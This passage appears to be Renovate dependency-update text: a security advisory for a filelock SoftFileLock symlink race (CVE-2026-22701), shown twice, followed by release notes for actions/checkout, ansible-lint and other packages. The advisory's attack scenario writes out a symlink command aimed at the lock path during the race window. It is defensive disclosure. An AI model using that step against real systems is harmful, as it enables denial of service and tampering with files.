4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.31.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.1)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.0...3.31.1)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.1 -->

#### What's Changed

- ♻️ refactor(coverage): key exclusions on probed capability by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#679](https://redirect.github.com/tox-dev/filelock/pull/679)
- scope a lease's claim to the context that acquired it by
[@&#8203;dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#680](https://redirect.github.com/tox-dev/filelock/pull/680)

**Full Changelog**:
<tox-dev/filelock@3.31.0...3.31.1>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNTEuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI1MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
ansibuddy added a commit to ansible/molecule that referenced this pull request Jul 30, 2026
> ℹ️ **Note**
> 
> This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Type | Update | Change | Pending |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|---|---|---|
| [actions/checkout](https://redirect.github.com/actions/checkout) |
action | major | `v6` → `v7` | `v7.0.1` |
![age](https://developer.mend.io/api/mc/badges/age/github-tags/actions%2fcheckout/v7.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/actions%2fcheckout/v6.1.0/v7.0.0?slim=true)
|
|
[actions/setup-python](https://redirect.github.com/actions/setup-python)
| action | major | `v6` → `v7` | |
![age](https://developer.mend.io/api/mc/badges/age/github-tags/actions%2fsetup-python/v7.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/actions%2fsetup-python/v6.3.0/v7.0.0?slim=true)
|
|
[ansible/ansible-lint](https://redirect.github.com/ansible/ansible-lint)
| repository | minor | `v26.4.0` → `v26.6.0` | |
![age](https://developer.mend.io/api/mc/badges/age/github-tags/ansible%2fansible-lint/v26.6.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/ansible%2fansible-lint/v26.4.0/v26.6.0?slim=true)
|
|
[astral-sh/uv-pre-commit](https://redirect.github.com/astral-sh/uv-pre-commit)
| repository | patch | `0.11.19` → `0.11.32` | |
![age](https://developer.mend.io/api/mc/badges/age/github-tags/astral-sh%2fuv-pre-commit/0.11.32?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/astral-sh%2fuv-pre-commit/0.11.19/0.11.32?slim=true)
|
| [biomejs/pre-commit](https://redirect.github.com/biomejs/pre-commit) |
repository | minor | `v2.4.16` → `v2.5.5` | |
![age](https://developer.mend.io/api/mc/badges/age/github-tags/biomejs%2fpre-commit/v2.5.5?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/biomejs%2fpre-commit/v2.4.16/v2.5.5?slim=true)
|
| [codespell](https://redirect.github.com/codespell-project/codespell) |
dependency-groups | patch | `2.4.2` → `2.4.3` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/codespell/2.4.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/codespell/2.4.2/2.4.3?slim=true)
|
| [coverage](https://redirect.github.com/coveragepy/coveragepy) |
dependency-groups | patch | `7.15.1` → `7.15.2` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/coverage/7.15.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/coverage/7.15.1/7.15.2?slim=true)
|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) |
dependency-groups | minor | `3.29.7` → `3.32.0` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.32.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.29.7/3.32.0?slim=true)
|
| [jsh9/pydoclint](https://redirect.github.com/jsh9/pydoclint) |
repository | minor | `0.8.6` → `0.9.1` | |
![age](https://developer.mend.io/api/mc/badges/age/github-tags/jsh9%2fpydoclint/0.9.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/jsh9%2fpydoclint/0.8.6/0.9.1?slim=true)
|
| [pipx](https://redirect.github.com/pypa/pipx)
([changelog](https://pipx.pypa.io/latest/changelog/)) |
dependency-groups | minor | `1.15.0` → `1.16.2` | `1.16.3` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/pipx/1.16.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pipx/1.15.0/1.16.2?slim=true)
|
| [prek](https://prek.j178.dev/)
([source](https://redirect.github.com/j178/prek),
[changelog](https://redirect.github.com/j178/prek/blob/master/CHANGELOG.md))
| dependency-groups | patch | `0.4.9` → `0.4.11` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/prek/0.4.11?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/prek/0.4.9/0.4.11?slim=true)
|
| [pycqa/pylint](https://redirect.github.com/pycqa/pylint) | repository
| patch | `v4.0.5` → `v4.0.6` | |
![age](https://developer.mend.io/api/mc/badges/age/github-tags/pycqa%2fpylint/v4.0.6?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/pycqa%2fpylint/v4.0.5/v4.0.6?slim=true)
|
| [ruff](https://docs.astral.sh/ruff)
([source](https://redirect.github.com/astral-sh/ruff),
[changelog](https://redirect.github.com/astral-sh/ruff/blob/main/CHANGELOG.md))
| dependency-groups | minor | `0.15.21` → `0.16.0` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/ruff/0.16.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/ruff/0.15.21/0.16.0?slim=true)
|
| [tombi](https://redirect.github.com/tombi-toml/tombi) |
dependency-groups | patch | `1.2.0` → `1.2.4` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/tombi/1.2.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/tombi/1.2.0/1.2.4?slim=true)
|
| [tox](https://redirect.github.com/tox-dev/tox)
([changelog](https://tox.wiki/en/latest/changelog.html)) |
dependency-groups | minor | `4.56.4` → `4.58.0` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/tox/4.58.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/tox/4.56.4/4.58.0?slim=true)
|
| [tox-ansible](https://redirect.github.com/ansible/tox-ansible)
([changelog](https://redirect.github.com/ansible/tox-ansible/releases))
| dependency-groups | patch | `26.7.0` → `26.7.1` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/tox-ansible/26.7.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/tox-ansible/26.7.0/26.7.1?slim=true)
|
| [tox-uv](https://redirect.github.com/tox-dev/tox-uv#tox-uv)
([changelog](https://redirect.github.com/tox-dev/tox-uv/releases)) |
dependency-groups | minor | `1.35.2` → `1.36.0` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/tox-uv/1.36.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/tox-uv/1.35.2/1.36.0?slim=true)
|
| [types-pyyaml](https://redirect.github.com/python/typeshed)
([changelog](https://redirect.github.com/typeshed-internal/stub_uploader/blob/main/data/changelogs/PyYAML.md))
| dependency-groups | patch | `6.0.12.20260518` → `6.0.12.20260724` | |
![age](https://developer.mend.io/api/mc/badges/age/pypi/types-pyyaml/6.0.12.20260724?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/types-pyyaml/6.0.12.20260518/6.0.12.20260724?slim=true)
|

Note: The `pre-commit` manager in Renovate is not supported by the
`pre-commit` maintainers or community. Please do not report any problems
there, instead [create a Discussion in the Renovate
repository](https://redirect.github.com/renovatebot/renovate/discussions/new)
if you have any questions.

---

### Release Notes

<details>
<summary>actions/checkout (actions/checkout)</summary>

###
[`v7.0.0`](https://redirect.github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v700)

[Compare
Source](https://redirect.github.com/actions/checkout/compare/v7.0.0...v7.0.0)

- Block checking out fork PR for pull\_request\_target and workflow\_run
by [@&#8203;aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#&#8203;2454](https://redirect.github.com/actions/checkout/pull/2454)
- Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the
minor-actions-dependencies group across 1 directory by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2458](https://redirect.github.com/actions/checkout/pull/2458)
- Bump flatted from 3.3.1 to 3.4.2 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2460](https://redirect.github.com/actions/checkout/pull/2460)
- Bump js-yaml from 4.1.0 to 4.2.0 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2461](https://redirect.github.com/actions/checkout/pull/2461)
- Bump [@&#8203;actions/core](https://redirect.github.com/actions/core)
and
[@&#8203;actions/tool-cache](https://redirect.github.com/actions/tool-cache)
and Remove uuid by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2459](https://redirect.github.com/actions/checkout/pull/2459)
- upgrade module to esm and update dependencies by
[@&#8203;aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#&#8203;2463](https://redirect.github.com/actions/checkout/pull/2463)
- Bump the minor-npm-dependencies group across 1 directory with 3
updates by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2462](https://redirect.github.com/actions/checkout/pull/2462)

###
[`v7`](https://redirect.github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v700)

[Compare
Source](https://redirect.github.com/actions/checkout/compare/v6.1.0...v7.0.0)

- Block checking out fork PR for pull\_request\_target and workflow\_run
by [@&#8203;aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#&#8203;2454](https://redirect.github.com/actions/checkout/pull/2454)
- Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the
minor-actions-dependencies group across 1 directory by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2458](https://redirect.github.com/actions/checkout/pull/2458)
- Bump flatted from 3.3.1 to 3.4.2 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2460](https://redirect.github.com/actions/checkout/pull/2460)
- Bump js-yaml from 4.1.0 to 4.2.0 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2461](https://redirect.github.com/actions/checkout/pull/2461)
- Bump [@&#8203;actions/core](https://redirect.github.com/actions/core)
and
[@&#8203;actions/tool-cache](https://redirect.github.com/actions/tool-cache)
and Remove uuid by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2459](https://redirect.github.com/actions/checkout/pull/2459)
- upgrade module to esm and update dependencies by
[@&#8203;aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#&#8203;2463](https://redirect.github.com/actions/checkout/pull/2463)
- Bump the minor-npm-dependencies group across 1 directory with 3
updates by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;2462](https://redirect.github.com/actions/checkout/pull/2462)

</details>

<details>
<summary>actions/setup-python (actions/setup-python)</summary>

###
[`v7.0.0`](https://redirect.github.com/actions/setup-python/compare/v6.3.0...v7.0.0)

[Compare
Source](https://redirect.github.com/actions/setup-python/compare/v7.0.0...v7.0.0)

###
[`v7`](https://redirect.github.com/actions/setup-python/compare/v6.3.0...v7.0.0)

[Compare
Source](https://redirect.github.com/actions/setup-python/compare/v6.3.0...v7.0.0)

</details>

<details>
<summary>ansible/ansible-lint (ansible/ansible-lint)</summary>

###
[`v26.6.0`](https://redirect.github.com/ansible/ansible-lint/releases/tag/v26.6.0)

[Compare
Source](https://redirect.github.com/ansible/ansible-lint/compare/v26.4.0...v26.6.0)

##### Features

- fix: ensure configuration errors are visible to user
([#&#8203;5038](https://redirect.github.com/ansible/ansible-lint/issues/5038))
[@&#8203;Dotify71](https://redirect.github.com/Dotify71)

##### Fixes

- fix: bump cryptography minimum to >=46.0.6 and refresh lock file
([#&#8203;5089](https://redirect.github.com/ansible/ansible-lint/issues/5089))
[@&#8203;sudhirverma](https://redirect.github.com/sudhirverma)
- fix: added setup-uv action version pinning to renovate config
([#&#8203;5021](https://redirect.github.com/ansible/ansible-lint/issues/5021))
[@&#8203;garethahealy](https://redirect.github.com/garethahealy)
- fix: detect role roots in namespace subdirectories
([#&#8203;5079](https://redirect.github.com/ansible/ansible-lint/issues/5079))
([#&#8203;5080](https://redirect.github.com/ansible/ansible-lint/issues/5080))
[@&#8203;santosh7676](https://redirect.github.com/santosh7676)
- fix(docs): remove mkdocstrings plugin to unblock docs CI
([#&#8203;5084](https://redirect.github.com/ansible/ansible-lint/issues/5084))
[@&#8203;rockygeekz](https://redirect.github.com/rockygeekz)
- fix: suppress ruff PLW0717 to unblock renovate
([#&#8203;5077](https://redirect.github.com/ansible/ansible-lint/issues/5077))
[@&#8203;rockygeekz](https://redirect.github.com/rockygeekz)
- Fix risky-shell-pipe false positive on multi-line Jinja
([#&#8203;5058](https://redirect.github.com/ansible/ansible-lint/issues/5058))
[@&#8203;arpitjain099](https://redirect.github.com/arpitjain099)
- Fix: fix mock\_modules generated stubs failing YAML/doc parsing
[#&#8203;5031](https://redirect.github.com/ansible/ansible-lint/issues/5031)
([#&#8203;5032](https://redirect.github.com/ansible/ansible-lint/issues/5032))
[@&#8203;santosh7676](https://redirect.github.com/santosh7676)
- fix: support example format indicator, prevent ansible-lint from
producing load-failure on valid non-YAML examples
([#&#8203;5045](https://redirect.github.com/ansible/ansible-lint/issues/5045))
[@&#8203;felixfontein](https://redirect.github.com/felixfontein)
- fix: avoid name\[casing] auto-fix crash on multi-segment prefixes
([#&#8203;5026](https://redirect.github.com/ansible/ansible-lint/issues/5026))
[@&#8203;bishalOps](https://redirect.github.com/bishalOps)
- fix: preserve multi-hash comments on `ansible-lint --fix`
([#&#8203;5033](https://redirect.github.com/ansible/ansible-lint/issues/5033))
[@&#8203;bishalOps](https://redirect.github.com/bishalOps)
- fix: preserve trailing blank lines when fqcn auto-fix renames a key
([#&#8203;5027](https://redirect.github.com/ansible/ansible-lint/issues/5027))
[@&#8203;bishalOps](https://redirect.github.com/bishalOps)
- fix(security): update dependencies \[SECURITY]
([#&#8203;5061](https://redirect.github.com/ansible/ansible-lint/issues/5061))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix(ci): switch devel tests from py312 to py313
([#&#8203;5062](https://redirect.github.com/ansible/ansible-lint/issues/5062))
[@&#8203;rockygeekz](https://redirect.github.com/rockygeekz)
- fix: ignore skip lookup across rules
([#&#8203;5060](https://redirect.github.com/ansible/ansible-lint/issues/5060))
[@&#8203;mehrdadbn9](https://redirect.github.com/mehrdadbn9)
- chore: Add support for Fedora 44 in the meta schema
([#&#8203;5029](https://redirect.github.com/ansible/ansible-lint/issues/5029))
[@&#8203;jsf9k](https://redirect.github.com/jsf9k)
- fix: ensure configuration errors are visible to user
([#&#8203;5038](https://redirect.github.com/ansible/ansible-lint/issues/5038))
[@&#8203;Dotify71](https://redirect.github.com/Dotify71)
- fix: role argument spec: fix typo in attribute schema
([#&#8203;5044](https://redirect.github.com/ansible/ansible-lint/issues/5044))
[@&#8203;felixfontein](https://redirect.github.com/felixfontein)
- fix: handle ignore.txt comments with '#' in them correctly
([#&#8203;5028](https://redirect.github.com/ansible/ansible-lint/issues/5028))
[@&#8203;felixfontein](https://redirect.github.com/felixfontein)
- fix: Evaluate the exit code after applying the skipped rules from
.ansible-lint-ignore
([#&#8203;5001](https://redirect.github.com/ansible/ansible-lint/issues/5001))
[@&#8203;gmuloc](https://redirect.github.com/gmuloc)
- fix: Update stale rulebook schema to match upstream ansible-rulebook
([#&#8203;5056](https://redirect.github.com/ansible/ansible-lint/issues/5056))
[@&#8203;Hrithik-Gavankar](https://redirect.github.com/Hrithik-Gavankar)
- fix: update \_extends syntax for release-drafter v7 compatibility
([#&#8203;5043](https://redirect.github.com/ansible/ansible-lint/issues/5043))
[@&#8203;rockygeekz](https://redirect.github.com/rockygeekz)
- fix(security): update dependencies \[SECURITY] - abandoned
([#&#8203;5014](https://redirect.github.com/ansible/ansible-lint/issues/5014))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix: update malformed block regex and bump pathspec upper bound
([#&#8203;5039](https://redirect.github.com/ansible/ansible-lint/issues/5039))
[@&#8203;rockygeekz](https://redirect.github.com/rockygeekz)

##### Maintenance

- chore: remove previously-synced agent skills
([#&#8203;5078](https://redirect.github.com/ansible/ansible-lint/issues/5078))
[@&#8203;ansibuddy](https://redirect.github.com/ansibuddy)
- chore(deps): update all dependencies
([#&#8203;5074](https://redirect.github.com/ansible/ansible-lint/issues/5074))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix(security): update dependencies \[SECURITY]
([#&#8203;5061](https://redirect.github.com/ansible/ansible-lint/issues/5061))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- test: add security-check workflow (integration test)
([#&#8203;5064](https://redirect.github.com/ansible/ansible-lint/issues/5064))
[@&#8203;cidrblock](https://redirect.github.com/cidrblock)
- chore: Add support for Fedora 44 in the meta schema
([#&#8203;5029](https://redirect.github.com/ansible/ansible-lint/issues/5029))
[@&#8203;jsf9k](https://redirect.github.com/jsf9k)
- chore: clarify yaml reformatting under fix
([#&#8203;5057](https://redirect.github.com/ansible/ansible-lint/issues/5057))
[@&#8203;Himanshuagrawal4](https://redirect.github.com/Himanshuagrawal4)
- chore(deps): update all dependencies pep621
([#&#8203;5047](https://redirect.github.com/ansible/ansible-lint/issues/5047))
